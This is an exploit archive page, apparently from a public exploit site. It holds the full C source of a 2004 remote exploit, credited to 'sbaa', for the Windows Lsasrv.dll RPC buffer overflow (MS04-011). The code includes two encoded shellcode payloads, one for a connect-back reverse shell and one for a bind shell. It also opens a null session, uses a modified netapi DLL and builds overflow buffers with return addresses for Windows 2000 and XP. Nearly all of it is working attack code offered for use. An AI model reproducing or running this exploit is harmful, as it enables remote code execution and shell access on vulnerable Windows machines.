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04252004.ms04011lsass.c

04252004.ms04011lsass.c
Posted May 1, 2004
Authored by sbaa

Remote exploit for the Lsasrv.dll RPC buffer overflow. To make this exploit work remotely you have to use the sbaaNetapi.dll which modifies the DsRoleUpgradeDownlevelServer API.

tags | exploit, remote, overflow
SHA-256 | c155fee77b812701dd4efb98b8ad352943a5fa4ca64edab679c6ddefca7a2e45

04252004.ms04011lsass.c

Change Mirror Download
 // Comments from K-OTik.COM : to make this exploit work remotely you have to use the
// sbaaNetapi.dll wich modifies the DsRoleUpgradeDownlevelServer API, this will allow
// the remote host to be specified as explained on eeye advisory...
//
// http://www.k-otik.com/exploits/04252004.ms04011lsass.rar


#include <windows.h>
#pragma comment(lib,"mpr.lib")
#pragma comment(lib, "ws2_32")

unsigned char scode[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"

"\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x02\x99\x99\x99"
"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
"\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xD9\xC9"
"\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x9D"
"\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD3\xF1\xFA"
"\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xF3\x8C\xC0\x32"
"\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10"
"\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8"
"\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66"
"\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xDC\xA5"
"\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\xAA\x50\xD0\xD8"
"\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A"
"\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\xBD\x9A\x44\xFF\x12"
"\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A"
"\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C"
"\x57\x76\x57\x79\xF9\x52\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33"
"\xF9\x7E\xE0\x5F\xE0";



unsigned char scode2[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"

"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x9D\x4B\xAA\x59\x10\xDE\x9D"
"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
"\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
"\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";



typedef int (_stdcall *DSROLEUPGRADEDOWNLEVELSERVER)
(unsigned long, unsigned long, unsigned long, unsigned long,
unsigned long, unsigned long, unsigned long, unsigned long,
unsigned long, unsigned long, unsigned long, unsigned long);
DSROLEUPGRADEDOWNLEVELSERVER DsRoleUpgradeDownlevelServer;

#define LEN 3500

char buf[LEN+1];
char sendbuf[(LEN+1)*2];
char buf2[2];
char target2[200];

int main(int argc, char *argv[])
{
HMODULE hNetapi;
int ret=0;
int i;
char c, *target;
LPSTR hostipc[40];
NETRESOURCE netResource;
unsigned short port;
unsigned long ip;
unsigned char* sc;

if (argc < 3) {
printf("Windows Lsasrv.dll RPC [ms04011] buffer overflow Remote Exploit\n \bug discoveried by eEye,\n \
code by sbaa (sysop sbaa 3322 org) 2004/04/24 ver 0.1\n \
Usage: \n \
%s 0 targetip (Port ConnectBackIP ) \
----> attack 2k (tested on cn sp4,en sp4)\n \
%s 1 targetip (Port ConnectBackIP ) \
----> attack xp (tested on cn sp1)\n",argv[0],argv[0]);
printf("");
return 0;
}

target = argv[2];
sprintf((char *)hostipc,"\\\\%s\\ipc$",target);

netResource.lpLocalName = NULL;
netResource.lpProvider = NULL;
netResource.dwType = RESOURCETYPE_ANY;
netResource.lpRemoteName=(char *)hostipc;



ret = WNetAddConnection2(&netResource, "", "", 0); // attempt a null session
if (ret != 0)
{
printf("Create NULL session failed\n");
// return 1;
}


hNetapi = LoadLibrary("sbaaNetapi.dll");
if (!hNetapi) {
printf("Can't load sbaaNetapi.dll.\n");
exit(0);
}

(DWORD *)DsRoleUpgradeDownlevelServer = (DWORD *)GetProcAddress(hNetapi, "DsRoleUpgradeDownlevelServer");

if (!DsRoleUpgradeDownlevelServer) {
printf("Can't find function.\n");
exit(0);
}

memset(buf, '\x90', LEN);



if(argc>4)
{

port = htons(atoi(argv[3]))^(USHORT)0x9999;
ip = inet_addr(argv[4])^(ULONG)0x99999999;

memcpy(&scode[118], &port, 2);
memcpy(&scode[111], &ip, 4);
sc=scode;
}
else
{
if(argc>3)
{
port = htons(atoi(argv[3]))^(USHORT)0x9999;
memcpy(&scode2[176], &port, 2);

}
sc=scode2;
}
//attack all 2k sp3 version

memcpy(&buf[2020], "\x95\x0c\x01\x78", 4);
memcpy(&buf[2036], sc, strlen(sc));

//attack all 2k sp4 version
memcpy(&buf[2840], "\xeb\x06\xeb\x06", 4);
memcpy(&buf[2844],"\x2b\x38\x03\x78",4);

memcpy(&buf[2856], sc, strlen(sc));


printf("shellcode size %d\n", strlen(sc));


for(i=0; i<LEN; i++) { //unicode
sendbuf[i*2] = buf[i];
sendbuf[i*2+1] = 0;
}
sendbuf[LEN*2]=0;
sendbuf[LEN*2+1]=0;

if(atoi(argv[1])==1)
{
memcpy(&sendbuf, sc, strlen(sc));
memcpy(sendbuf+1964,"\xad\x14\x48\x74",4);
memcpy(&sendbuf[1948], "\xb8\x44\xf8\xff\xff\x03\xc4\x81\xec\x00\x20\x00\x00\xff\xe0\x00", 16);
memcpy(&sendbuf[1980], "\xeb\xde",2);
}
memset(target2, 0, 100);
for(i=0; i<strlen(target); i++) {
target2[i*2] = target[i];
target2[i*2+1] = 0;
}
memset(buf2, 0, 2);
ret=0;
ret=DsRoleUpgradeDownlevelServer(&sendbuf[0], &buf2[0], &buf2[0], &buf2[0], &buf2[0], &buf2[0],
&buf2[0], &buf2[0], target2, &buf2[0], &buf2[0], &buf2[0]);

printf("Ret value = %d\n",ret);
WNetCancelConnection2(netResource.lpRemoteName, 0, TRUE);
FreeLibrary(hNetapi);

return 0;
}

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